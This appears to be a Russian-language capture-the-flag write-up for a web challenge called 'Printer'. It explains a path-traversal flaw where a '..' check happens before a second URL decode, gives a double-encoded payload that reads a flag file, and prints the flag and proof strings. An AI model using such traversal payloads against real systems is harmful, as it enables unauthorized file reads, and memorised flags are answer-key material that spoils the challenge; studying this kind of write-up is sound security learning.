# Printer — разбор решения

## Разведка
- Главная страница `/` показывает список файлов в очереди печати.
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.

## Уязвимость
В `/jobs/preview` путь для чтения строится так:
1) `once = decodeURIComponent(raw)`
2) Проверка `once.includes('..')`
3) `p = decodeURIComponent(once)` (возможен и третий decode)
4) `path.join(QUEUE_DIR, p)`

Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.

## Эксплуатация
Дважды кодируем `..` и `/`:
- `..` → `%2e%2e` → `%252e%252e`
- `/` → `%2f` → `%252f`

Запрос:
```
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
```

Промежуточные преобразования:
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
- после второго decode: `../notes/flag.txt`

`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.

## Результат
Ответ содержит содержимое `flag.txt`, включая флаг:
```
caplag{chain_m_printer_traversa}
PRINTER_PROOF=printer-proof-3d3130
GAME_code=Printer-1s-down-move-next
```
